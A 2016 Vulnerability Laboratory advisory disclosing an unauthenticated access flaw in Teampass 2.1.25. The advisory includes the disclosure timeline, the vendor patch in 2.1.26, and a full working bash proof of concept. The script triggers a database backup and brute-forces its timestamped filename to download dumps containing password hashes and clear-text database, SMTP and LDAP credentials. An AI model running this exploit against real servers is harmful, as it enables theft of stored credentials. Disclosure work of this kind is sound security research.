Teampass 2.1.25 Unauthenticated Access
Posted on 27 May 2016
Document Title: =============== Teampass v2.1.25 - Unauthenticated Access Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1844 Release Date: ============= 2016-05-18 Vulnerability Laboratory ID (VL-ID): ==================================== 1844 Common Vulnerability Scoring System: ==================================== 6.8 Product & Service Introduction: =============================== TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP. It is especially designed to provide passwords access security for allowed people. (Copy of the Homepage: http://teampass.net/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered multiple vulnerabilities in the official Teampass v2.1.25 application. Vulnerability Disclosure Timeline: ================================== 2016-05-11: Researcher Notification & Coordination (Peter Kok) 2016-05-12 Vendor Notification (Teampass Security Team) 2016-05-12: Vendor Response/Feedback (Teampass Security Team) 2016-05-13: Vendor Fix/Patch (Teampass Developer Team) 2016-05-18: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Nils Laumaillé Product: Teampass Password Manager - Online Service (Web-Application) 2.1.25 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ An unauthenticated access vulnerability has been discovered in the official Teampass v2.1.25 application. The vulnerability allows remote attacker unauthenticated access to sensitive database management system information. The script /backups/script.backup.php allows administrators to create database backups. There are 3 problems with this script ... - there is no authentication needed to run the script - the backups are stored within the webroot in the /backups directory - the name of the backup is predictable as it uses the name bck_cpassman-[epoch time].sql by default These backup contains all lot of sensitive data. Usernames, hashed passwords, description fields with information, etc.. As most of the passwords inserted by users are hashed, some are visible in clear text like: - the database password - in the teampass_misc table there are clear text password for smtp and ldap connections The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8. Exploitation of the security web vulnerability requires no privileged web-application user account and user interaction. Successful exploitation of the vulnerability results in unauthenticated access of dumps and physical database information. Vulnerable Module(s): [+] ./backups/ Vulnerable File(s): [+] script.backup.php Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without user interaction or privileged user account. For security demonstration or to reproduce the issue follow the provided information and steps below to continue. PoC: Exploit #!/bin/bash #/backups/script.backup.php in Teampass 2.1.25 and earlier allows unauthenticated access # Default Teampass database backup filename is bck_cpassmann-[current epoch time].sql and # is stored in the backups directory. # Only thing we have to do is get the epoch time at which the database backup was generated. # First the script gets the server time from the index.php page, runs the script.backup.php # to create the backup and again gets the current server time from the index.php. # As we now know in which period the backup is created we can guess the filename BACKUPFILENAME=bck_cpassman if [ ! "$1" ] then echo "Usage: $0 [url] [options]" echo -e "nOptions:" echo -e "t--increase increase timezone until backup is found(default)" echo -e "t--decrease decrease timezone until backup is found" exit 0 fi #get current server time from login page before generating the backup S_SERVERTIME=$(curl -k -s $1/|grep "fa fa-clock-o"|rev|awk '{ print $1 }' |rev) S_EPOCHTIME=$(date +%s -d "$S_SERVERTIME") #generate backup curl -k $1/backups/script.backup.php #get current server time from login page after generating the backup E_SERVERTIME=$(curl -k -s $1/|grep "fa fa-clock-o"|rev|awk '{ print $1 }' |rev) E_EPOCHTIME=$(date +%s -d "$E_SERVERTIME") while : do i=$(($S_EPOCHTIME)) while [ $i -le $E_EPOCHTIME ] do echo -n "Trying to download $1/backups/$BACKUPFILENAME-$i.sql " curl -k -s -f --output /dev/null $1/backups/$BACKUPFILENAME-$i.sql && echo "[+] DATABASE BACKUP FOUND!" && FOUND=1 || echo "[-] not available" if [ "$FOUND" == "1" ] then echo -e "n>>> Database backup available at: $1/backups/$BACKUPFILENAME-$i.sql <<<nn" exit 0 fi i=$(($i+1)) done if [ "$FOUND" != "1" ] && [ "$2" == "--decrease" ] then S_EPOCHTIME=$(($S_EPOCHTIME-3600)) E_EPOCHTIME=$(($E_EPOCHTIME-3600)) echo "Testing with different timezone($(date -d @$S_EPOCHTIME))" elif [ "$FOUND" != "1" ] then S_EPOCHTIME=$(($S_EPOCHTIME+3600)) E_EPOCHTIME=$(($E_EPOCHTIME+3600)) echo "Testing with different timezone($(date -d @$S_EPOCHTIME))" fi done exit 0 Solution - Fix & Patch: ======================= Note: The manufacturer fixed the vulnerability and an update is available for download in version 2.1.26. URL: http://teampass.net/2016-05-13-release-2.1.26 Security Risk: ============== The security risk of the vulnerabilities in the teampass application are estimated as high. (CVSS 6.8) Credits & Authors: ================== Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com